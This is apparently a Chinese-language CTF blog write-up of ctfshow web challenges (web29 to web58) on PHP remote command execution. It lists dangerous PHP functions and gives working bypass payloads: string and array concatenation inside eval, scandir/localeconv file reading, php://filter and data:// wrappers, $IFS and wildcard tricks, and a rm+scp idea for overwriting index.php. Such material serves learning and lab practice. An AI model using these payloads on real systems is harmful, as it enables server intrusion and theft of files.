远程命令执行(Remote Command Execution,RCE)
原理
命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。
危险函数
PHP代码相关
eval()、assert()、preg_replace、call_user_func()、call_user_func_array()、create_function()、array_map()
系统命令执行相关
system()、passthru()、exec()、pcntl_exec()、shell_exec()、popen()、proc_open()、反引号(``)、ob_start()
绕过方式
PHP代码执行绕过
Linux命令执行绕过
- 关键字绕过
- ''、""、\
- 通配符:?、*、[]
- 替代命令
- 空格绕过
- <、<>
- {}
- %09(在 PHP 环境中的空格绕过,不属于 Linux 的空格绕过,为了方便,放在这里)
- $IFS
- 特殊方式
- 无字母数字执行webshell
PHP代码执行绕过
以 web30 为例
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
源代码有两个关键函数,一个是正则表达式函数 preg_match() ,一个是危险函数 eval()
preg_match() 作为黑名单,屏蔽关键字 flag、system、php
eval() 则是获取 flag 的关键所在
以 PHP代码 角度,我们一般想到的采用拼接方式绕过黑名单,还需要考虑是否使用函数绕过、函数替代
(1)字符拼接
我们获取 flag 需要执行的命令为
?c=system("cat flag.php"); //但这里有两个关键字被屏蔽
我们需要先将这句代码进行处理,将其切割为几个字符串
?c='sys'.'tem("cat fl'.'ag.ph'.'p");'
但将这个 payload 输入之后并没有反应,原因是 eval() 只是将这几个字符串拼接起来,并没有执行
因此执行这串代码需要两步:1)拼接代码;2)执行代码
一个 eval() 执行一步,源代码本就有一个,所以还差一个 eval()
这里并没有对 eval 屏蔽,我们自己添加一个
?c=eval('sys'.'tem("cat fl'.'ag.ph'.'p");');
(2)数组拼接
原 payload
?c=system("cat flag.php"); //但这里有两个关键字被屏蔽
进行处理,使其变成数组
?c=['sys','tem("cat fl','ag.ph','p");']
但 eval() 无法执行数组,将数组转化成 str
?c=implode(['syst','em("tac fla','g.ph','p");'])
执行这串代码还是分成两步:1)将数组转化成 str 类型;2)执行代码
一个 eval() 执行一步,还差一个
?c=eval(implode(['syst','em("tac fla','g.ph','p");']));
以 web31 为例
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这关可以使用数组拼接的方式,或者替代函数、替代命令方式,但有人从 PHP代码 角度以炫技的方式获取 flag
步骤:1)获取文件名;2)根据文件名读取其内容
关键函数 scandir()
scandir() 函数用于遍历并获取目录, . 表示当前目录 .. 表示上级目录
?c=scand(.); //遍历当前目录,结果为 . .. flag.php index.php
但 . 被屏蔽,我们需要找替代品,而 localeconv() 函数第一个值就为 .
但 localeconv() 是数组,我们又只需要第一个值,使用数组指针函数 pos()
?c=scandir(pos(localeconv())); //获取的目录结构为:. .. flag.php index.php
我们只需要获取到 flag.php 文件名,其余不需要
查看数组指针函数,好像没有返回第三位的值,或者倒数第二位的值,但这里时数组翻转一下就可以使用 next()
?c=next(array_reverse(scandir(pos(localeconv())))); //翻转后数组为 index.php flag.php .. . 使用 next() 返回第二位的值
这下我们获取到了 flag.php 但也仅仅获取到了文件名而已
使用 show_source() 读取文件内容
?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); //师傅们给出的 payload,想法奇特,学到很多
ctf 中伪协议常用 php://filter、php://input
以 web37 为例
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
出现了关键函数 include() 属于文件包含漏洞
一般出现文件包含函数就应该想到伪协议
payload
c=php://filter/read=convert.base64-encode/resource=flag.php //由于屏蔽了 flag 所以 php://filter 不能使用 c=data://text/plain,<?=system('cat fl*')?> // data:// 也可以 c=php://input
以 web29 为例
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这里的黑名单检测只针对于 变量c ,我们再将另一个 变量1 赋予 变量c,这样就成参数嵌套,对于 变量1 时没有任何限制
这与文件上传漏洞的上传一句话木马想法类似,都是利用服务器预定义变量 $_GET[]、$_POST[]
payload
c=include $_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php // include() 与伪协议组合
以 web58 为例
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
payload
Linux 命令执行绕过
// linux 关键字绕过演示
//先创建 flag.txt 文件,内容如下
// 在关键字中添加 单引号
//在关键字中添加 双引号
//在关键字中添加 \
//通配符 //使用 ? 通配符
//使用 * 通配符
//使用 [] 通配符
// [] 不太一样,创建 123.php、234.php、334.php、434.php
//利用 [] 进行匹配
//但不如 ? 来的方便
<>、<、{}
%09
$IFS 比较特殊,可以使用{},后面可以接数字变量(只能一位)、\、通配符(可多位)、字符串(可多位)
${IFS}、$IFS$1、$IFS?、$IFS*、$IFS\、$IFS'fl'
//新建 flag.txt 文件,内容如下
//<
//<>
//{}
//$IFS
//${IFS}
//$IFS$2,数字任意,只能是一位,范围 1-9
//$IFS\
//$IFS? 可多位匹配
//$IFS'fla' 字符串长度可一位,也可多位
1)wget、scp 远程下载文件
2)cp、mv 对目标文件改名
以 web54 为例
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
黑名单有很多,
payload
//利用 mv 命令将 flag.php 改名,再读取 c=mv${IFS}fl?g.php${IFS}q.txt c=uniq${IFS}q.txt
3)rm 与 scp 组合
用 rm 删除 index.php ,再用 scp 上传自己写的 index.php ,利用 web 站点默认文件名
思路很新颖,出自 web54 的黑名单
一般有两个思路:1)位运算;2)自增运算符
在此贴上p神的文章
标签:web,入门,IFS,GET,flag,ctfshow,eval,绕过,php From: https://www.cnblogs.com/IFS-/p/17128292.html